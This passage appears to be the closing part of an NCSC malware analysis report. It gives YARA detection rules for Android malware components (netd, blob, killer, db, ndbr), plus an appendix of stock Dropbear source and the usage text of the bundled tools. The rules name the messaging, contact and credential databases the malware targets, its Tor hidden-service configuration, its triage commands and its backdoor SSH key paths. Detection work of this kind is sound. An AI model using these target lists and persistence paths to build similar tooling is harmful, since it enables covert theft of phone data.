      strings:
            $ =
".dat,.bak,.xml,.txt,.ovpn,.xml,wa.db,msgstore.db,.pdf,.xlsx,.csv,.zip,te
lephony.db,.png,.jpg,.jpeg,.kme,database.hik,database.hik-
journal,ezvizlog.db,cache4.db,contacts2.db,.docx,.gz,.rar,.tar,.7zip,.zip
,.kmz,locksettings.db,mmssms.db,telephony.db,signal.db,mmssms.db,profile.
db,accounts.db,PyroMsg.DB,.exe,.kml"
      condition:
            uint32(0) == 0x464C457F and any of them
}
```

Description	blob path string found in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_Blob {
  meta:
    author = "NCSC"
    description = "blob path string found in netd"
    date = "2023-08-31"
  strings:
    $ = "/data/local/tmp/blob"
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	Tor hostname path string found in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_TorDomainPath {
  meta:
    author = "NCSC"
    description = "Tor hostname path string found in netd"
    date = "2023-08-31"
  strings:
    $ = "/data/local/prx/hs/hostname"
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	Shell script commands found in `netd`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_TriageCommands {
  meta:
    author = "NCSC"
    description = "Shell script commands found in netd"
    date = "2023-08-31"
  strings:
    $ = "settings get secure android_id"
    $ = "pm list packages"
    $ = "getprop"
  condition:
    uint32(0) == 0x464C457F and all of them
}
```

Description	`netd` wait loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_waitloop {
  meta:
    author = "NCSC"
    description = "netd wait loop"
    date = "2023-08-31"
  strings:
    $ = {38 23 F9 18 01 23 5B 42 01 22 18 00 ?? ?? ?? ?? 0F 20}
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	`netd` pid for loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule netd_pidloop {
  meta:
    author = "NCSC"
    description = "netd pid for loop"
    date = "2023-08-31"
  strings:
    $ = {1B 68 8A 4A 93 42 ?? ?? ?? ?? C0 46}
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	Tor configuration file strings in `blob`
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule blob_TorCommandLine {
  meta:
    author = "NCSC"
    description = "Tor configuration file strings in blob"
    date = "2023-08-31"
    hash1 = "b681a2b64d150a4b16f64455913fbacd97d9b490"
  strings:
    $ = "SocksPort 127.0.0.1:1129"
    $ = "DataDirectory /data/local/prx/"
    $ = "/data/local/prx/hs/"
    $ = "HiddenServicePort 34371 127.0.0.1:34371"
  condition:
    uint32(0) == 0x464C457F and 2 of them
}
```

Description	`blob` wait on event loop
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule blob_waitloop {
  meta:
    author = "NCSC"
    description = "blob wait on event loop"
    date = "2023-08-31"
    hash1 = "b681a2b64d150a4b16f64455913fbacd97d9b490"
  strings:
    $ = {0C 23 F9 18 01 23 5B 42 01 22 18 00 ?? ?? ?? ?? 03 1E}
  condition:
    uint32(0) == 0x464C457F and any of them
}
```

Description	`killer` binary strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule killer_Strings {
  meta:
    author = "NCSC"
    description = "killer binary strings"
    date = "2023-08-31"
    hash1 = "ad6eb2a7096b0e29cd93b8b1f60052fed7632ab9"
  strings:
    $ = "netd_"
    $ = "/proc/%d/exe"
    $ = "/proc/%d/status"
  condition:
    uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028
and all of them
}
```

Description	`db` Android path strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule db_androidpaths {
  meta:
    author = "NCSC"
    description = "db Android path strings"
    date = "2023-08-31"
    hash1 = "ffaeba9a9fb4260b981fb10d79dbb52ba291fc94"
  strings:
    $ = "/data/local/tmp/sessions.log.d/.ssh/remove_file.flag"
    $ = "/data/local/tmp/sessions.log.d"
    $ = "/data/local/tmp/sessions.log.d/.ssh"
    $ = "/data/local/tmp/sessions.log.d/.ssh/authorized_keys"
    $ = "/data/local/tmp/sessions.log.d/.ssh/know_host"
    $ = "/data/local/tmp/sessions.log.d/dropbear_rsa_host_key"
    $ = "/data/local/tmp/sessions.log.d/dropbear_dss_host_key"
    $ = "/data/local/tmp/sessions.log.d/dropbear_ecdsa_host_key"
    $ = "/data/local/tmp/sessions.log.d/session.key"
    $ = "/data/local/tmp/sessions.log.d/.bash_history"
    $ = "/data/local/tmp/sessions.log.d/dropbear_ed25519_host_key"
    $ = "/data/local/tmp/sessions.log.d/"
    $ = "/data/local/tmp/sessions.log.d"
  condition:
    uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028
and all of them
}
```

Description	`ndbr` scan strings
Precision	High Confidence – no hits in VirusTotal
Rule type	YARA

```
rule ndbr_ScanStrings {
  meta:
    author = "NCSC"
    description = "ndbr scan strings"
    date = "2023-08-31"
    hash1 = "917db380b22fad02e7f21f11d1b4e8a5ad47c61c"
    hash2 = "7d11aefc26823712ad8de37489f920fae679b845"
  strings:
    $ = "INTERFACE = %s"
    $ = "SOURCE = %s"
    $ = "IP begin = %s"
    $ = "IP end = %s"
    $ = "PORT = top"
    $ = "PORT begin = %hu"
    $ = "PORT end = %hu"
    $ = "PING %s"
    $ = "SCAN %s"
    $ = "*******start*scan********"
    $ = "Host %s:"
  condition:
    uint32(0) == 0x464C457F and uint8(4) == 0x1 and uint16(18) == 0x0028
and all of them
}
```

Appendix

Dropbear unmodified fill_passwd function

```
void fill_passwd(const char* username) {
	struct passwd *pw = NULL;
	if (ses.authstate.pw_name)
		m_free(ses.authstate.pw_name);
	if (ses.authstate.pw_dir)
		m_free(ses.authstate.pw_dir);
	if (ses.authstate.pw_shell)
		m_free(ses.authstate.pw_shell);
	if (ses.authstate.pw_passwd)
		m_free(ses.authstate.pw_passwd);

	pw = getpwnam(username);
	if (!pw) {
		return;
	}
	ses.authstate.pw_uid = pw->pw_uid;
	ses.authstate.pw_gid = pw->pw_gid;
	ses.authstate.pw_name = m_strdup(pw->pw_name);
	ses.authstate.pw_dir = m_strdup(pw->pw_dir);
	ses.authstate.pw_shell = m_strdup(pw->pw_shell);
	{
		char *passwd_crypt = pw->pw_passwd;
#ifdef HAVE_SHADOW_H
		/* get the shadow password if possible */
		struct spwd *spasswd = getspnam(ses.authstate.pw_name);
		if (spasswd && spasswd->sp_pwdp) {
			passwd_crypt = spasswd->sp_pwdp;
		}
#endif
		if (!passwd_crypt) {
			/* android supposedly returns NULL */
			passwd_crypt = "!!";
		}
		ses.authstate.pw_passwd = m_strdup(passwd_crypt);
	}
}
```

Dropbear unmodified login_init_entry function

```
/* login_init_entry(struct logininfo *, int, char*, char*, char*)
 *                                          - initialise a struct logininfo
 *
 * Populates a new struct logininfo, a data structure meant to carry
 * the information required to portably record login info.
 *
 * Returns: 1
 */
int
login_init_entry(struct logininfo *li, int pid, const char *username,
              const char *hostname, const char *line)
{
      struct passwd *pw;

      memset(li, 0, sizeof(*li));

      li->pid = pid;

      /* set the line information */
      if (line)
            line_fullname(li->line, line, sizeof(li->line));

      if (username) {
            strlcpy(li->username, username, sizeof(li->username));
            pw = getpwnam(li->username);
            if (pw == NULL)
                  dropbear_exit("login_init_entry: Cannot find user
\"%s\"",
                                    li->username);
            li->uid = pw->pw_uid;
      }

      if (hostname)
            strlcpy(li->hostname, hostname, sizeof(li->hostname));

      return 1;
```

Dropbear unmodified sessionpty function

```
/* Set up a session pty which will be used to execute the shell or
program.
 * The pty is allocated now, and kept for when the shell/program
executes.
 * Returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
static int sessionpty(struct ChanSess * chansess) {

	unsigned int termlen;
	char namebuf[65];
	struct passwd * pw = NULL;

	TRACE(("enter sessionpty"))

	if (!svr_pubkey_allows_pty()) {
		TRACE(("leave sessionpty : pty forbidden by public key
option"))
		return DROPBEAR_FAILURE;
	}

	chansess->term = buf_getstring(ses.payload, &termlen);
	if (termlen > MAX_TERM_LEN) {
		/* TODO send disconnect ? */
		TRACE(("leave sessionpty: term len too long"))
		return DROPBEAR_FAILURE;
	}

	/* allocate the pty */
	if (chansess->master != -1) {
		dropbear_exit("Multiple pty requests");
	}
	if (pty_allocate(&chansess->master, &chansess->slave, namebuf, 64)
== 0) {
		TRACE(("leave sessionpty: failed to allocate pty"))
		return DROPBEAR_FAILURE;
	}

	chansess->tty = m_strdup(namebuf);
	if (!chansess->tty) {
		dropbear_exit("Out of memory"); /* TODO disconnect */
	}

	pw = getpwnam(ses.authstate.pw_name);
	if (!pw)
		dropbear_exit("getpwnam failed after succeeding previously");
	pty_setowner(pw, chansess->tty);

	/* Set up the rows/col counts */
	sessionwinchange(chansess);

	/* Read the terminal modes */
	get_termmodes(chansess);

	TRACE(("leave sessionpty"))
	return DROPBEAR_SUCCESS;
}
```

Nmap command line options

```
Usage nmap -ip* <ip-addr: 192.168.0.1/ip-range: 192.168.0.0/24> -p*
<port: 80/port-range: 25-125/top> -udp <default tcp> -noping <default
yes> -o <out_file> -t <timeout> <-n> <-h/--help (print this help)
```

Dropbear client [dbclient|ssh] command line options

```
Dropbear SSH client v2020.81
https://matt.ucc.asn.au/dropbear/dropbear.html
Usage: dbclient [options] [user@]host[/port][,[user@]host/port],...]
[command]
-p <remoteport>
-l <username>
-t    Allocate a pty
-T    Don't allocate a pty
-N    Don't run a remote command
-f    Run in background after auth
-y    Always accept remote host key if unknown
-y -y Don't perform any remote host key checking (caution)
-s    Request a subsystem (use by external sftp)
-o option     Set option in OpenSSH-like format ('-o help' to list
options)
-i <identityfile>   (multiple allowed, default .ssh/id_dropbear)
-A    Enable agent auth forwarding
-L <[listenaddress:]listenport:remotehost:remoteport> Local port
forwarding
-g    Allow remote hosts to connect to forwarded ports
-R <[listenaddress:]listenport:remotehost:remoteport> Remote port
forwarding
-W <receive_window_buffer> (default 24576, larger may be faster, max 1MB)
-K <keepalive>  (0 is never, default 30)
-I <idle_timeout>  (0 is never, default 1800)
-B <endhost:endport> Netcat-alike forwarding
-J <proxy_program> Use program pipe rather than TCP connection
-c <cipher list> Specify preferred ciphers ('-c help' to list options)
-m <MAC list> Specify preferred MACs for packet verification (or '-m
help')
-b    [bind_address][:bind_port]
-V    Version
```

scp

```
usage: scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-P port] [-S program]
           [[user@]host1:]file1 [...] [[user@]host2:]file2
```

Dropbearkey command line options

```
Must specify a key filename
Usage: dropbearkey -t <type> -f <filename> [-s bits]
-t type     Type of key to generate. One of:
            rsa
            dss
            ecdsa
            ed25519
-f filename    Use filename for the secret key.
               ~/.ssh/id_dropbear is recommended for client keys.
-s bits     Key size in bits, should be a multiple of 8 (optional)
           DSS has a fixed size of 1024 bits
           ECDSA has sizes 256 384 521
           Ed25519 has a fixed size of 256 bits
-y          Just print the publickey and fingerprint for the
            private key in <filename>.
```

Dropbear server command line options

```
Dropbear server v2020.81 https://matt.ucc.asn.au/dropbear/dropbear.html
Usage: dropbear [options]
-b bannerfile     Display the contents of bannerfile before user login
            (default: none)
-r keyfile        Specify hostkeys (repeatable)
            defaults:
            - dss /tmp/sessions.log.d/dropbear_dss_host_key
            - rsa /tmp/sessions.log.d/dropbear_rsa_host_key
            - ecdsa /tmp/sessions.log.d/dropbear_ecdsa_host_key
            - ed25519 /tmp/sessions.log.d/dropbear_ed25519_host_key
-R          Create hostkeys as required
-F          Don't fork into background
(Syslog support not compiled in, using stderr)
-w          Disallow root logins
-G          Restrict logins to members of specified group
-s          Disable password logins
-g          Disable password logins for root
-B          Allow blank password logins
-T          Maximum authentication tries (default 10)
-j          Disable local port forwarding
-k          Disable remote port forwarding
-a          Allow connections to forwarded ports from any host
-c command  Force executed command
-p [address:]port
            Listen on specified tcp port (and optionally address),
            up to 10 can be specified
            (default port is 2222 if none specified)
-P PidFile  Create pid file PidFile
            (default /var/run/sessionlog.pid)
-i          Start for inetd
-W <receive_window_buffer> (default 24576, larger may be faster, max 1MB)
-K <keepalive>  (0 is never, default 30, in seconds)
-I <idle_timeout>  (0 is never, default 1800, in seconds)
-V    Version
```

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.